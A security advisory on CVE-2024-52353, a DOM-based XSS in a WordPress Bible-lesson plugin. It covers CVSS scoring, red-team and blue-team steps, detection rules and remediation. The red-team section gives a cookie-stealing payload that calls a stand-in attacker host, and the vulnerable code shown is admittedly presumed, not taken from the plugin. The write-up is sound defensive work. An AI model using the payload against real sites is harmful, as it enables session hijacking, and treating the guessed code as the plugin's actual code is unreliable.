CVE-2024-52353

Executive Summary

CVE-2024-52353 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Christian Science Bible Lesson Subjects" by Gabriel Serafini, affecting versions up to and including 2.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the DOM context. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the attack payload is executed client-side via JavaScript that manipulates the Document Object Model (DOM) without proper sanitization. The plugin likely processes URL fragments or query parameters and injects them into the page without encoding. For example, a crafted URL like:

https://example.com/?lesson=<script>alert('XSS')</script>

could cause the plugin to render the script tag directly into the DOM, leading to script execution. The vulnerability exists in the christian-science-bible-lesson-subjects plugin, which is part of the WordPress ecosystem.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's JavaScript or PHP files that handle user input. A typical vulnerable pattern might be:

// Vulnerable code (example)
var lesson = new URLSearchParams(window.location.search).get('lesson');
document.getElementById('lesson-title').innerHTML = lesson;

A patched version would use safe DOM manipulation:

// Patched code (example)
var lesson = new URLSearchParams(window.location.search).get('lesson');
document.getElementById('lesson-title').textContent = lesson;

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with the vulnerable plugin (version <= 2.0) on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a URL with a malicious script in a parameter, e.g., ?lesson=<img src=x onerror=alert(1)>.
3. Deliver: Send the link to a victim (simulated via browser).
4. Execute: The victim clicks the link, and the script executes in their browser.

Example exploit URL:

http://localhost/wp-content/plugins/christian-science-bible-lesson-subjects/lesson.php?lesson=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Detection: Monitor for unusual URL parameters containing script tags or event handlers.
2. Mitigation: Implement Content Security Policy (CSP) headers to block inline scripts.
3. User Education: Train users to avoid clicking suspicious links.
4. Temporary Fix: Disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP requests with parameters containing <script>, <img onerror=, or similar XSS patterns.
• Host: Presence of the plugin directory wp-content/plugins/christian-science-bible-lesson-subjects/ with version <= 2.0.
• Logs: Web server logs showing requests with encoded or raw XSS payloads in query strings.

Detection Engineering

YARA Rule

rule CVE_2024_52353_XSS_DOM {
    meta:
        description = "Detects DOM-based XSS attempts targeting Christian Science Bible Lesson Subjects plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-52353"
    strings:
        $xss1 = /[?&]lesson=.*<script/i
        $xss2 = /[?&]lesson=.*<img\s+[^>]*onerror/i
        $xss3 = /[?&]lesson=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-52353 DOM-Based XSS Attempt
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in the lesson parameter targeting Christian Science Bible Lesson Subjects plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-content/plugins/christian-science-bible-lesson-subjects/'
        c-uri|re: '(?i)(?:[?&]lesson=.*<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52353 DOM-Based XSS Attempt"; flow:to_server; content:"/wp-content/plugins/christian-science-bible-lesson-subjects/"; http_uri; pcre:"/(?i)[?&]lesson=.*<(script|img\s+onerror|onload)/U"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in the lesson parameter.
3. Long-term: Contact the vendor for a patch or consider replacing the plugin with an alternative.
4. Code Fix: If you have access to the source, sanitize all user input using textContent instead of innerHTML and validate input against a whitelist.

Valters IT
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